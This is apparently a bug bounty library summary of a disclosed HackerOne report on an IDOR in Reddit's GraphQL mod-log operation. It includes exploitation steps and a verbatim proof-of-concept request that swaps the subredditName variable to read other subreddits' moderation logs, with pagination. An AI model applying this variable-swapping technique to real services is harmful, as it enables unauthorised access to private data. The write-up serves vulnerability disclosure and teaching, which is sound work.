# Getting access of mod logs from any public or restricted subreddit with IDOR vulnerability

GraphQL mod-log operation on gql.reddit.com lacked moderator authorization, letting any logged-in user read mod logs of any public or restricted subreddit via subredditName swap.

- Payout: $5,000
- Severity: high
- Program: Reddit
- Found by: high_ping_ninja
- Disclosed: 2022-08-04
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1658418
- Library page: https://bugbountylibrary.com/r/h1%3A1658418
- Tags: area:web domain:api domain:web impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:high tech:graphql vuln:access-control vuln:idor

**Target:** gql.reddit.com GraphQL mod-log operation (operation id 6243efcbc61d)
**Root cause:** The GraphQL mod-log resolver did not verify the caller was a moderator of the requested subreddit before returning logs.
**Steps:**
1. Authenticate as any Reddit account and capture the Bearer token.
2. POST to `https://gql.reddit.com/` with body `{"id":"6243efcbc61d","variables":{"subredditName":"any-subreddit"}}` and `Authorization: Bearer <token>`.
3. Observe mod log entries returned for a subreddit the user does not moderate.
4. If `hasNextPage` is true, resend with `"after":"<endCursor>"` to paginate through all log pages.
**How found:** Likely noticed the mod-log GraphQL operation accepted subredditName as a client-controlled variable and tested it against a subreddit the account did not moderate, confirming no server-side moderator check.
**Exploitation:** Any authenticated user swaps subredditName in the persisted GraphQL operation to read moderation logs (removed posts, bans, mod actions) of arbitrary public/restricted subreddits, paginating via endCursor to dump the full history.
**Insight:** Persisted GraphQL operations (by id) still take client-controlled variables; test each operation's variables against resources you don't own, since authz is often enforced only in the UI that calls the operation.

## Proof of concept (copied exactly from the original report)

**GraphQL request fetching any subreddit's mod logs**

```
POST / HTTP/2
Host: gql.reddit.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 62
X-Reddit-Compression: 1
Origin: https://www.reddit.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Authorization: Bearer ourtoken
Referer: https://www.reddit.com/
Te: trailers

{"id":"6243efcbc61d","variables":{"subredditName":"any-subreddit"}}
```

**Paginated request using endCursor as after**

```
{"id":"6243efcbc61d","variables":{"subredditName":"any-subreddit",
"after":"code-from-endCursor"
}}
```

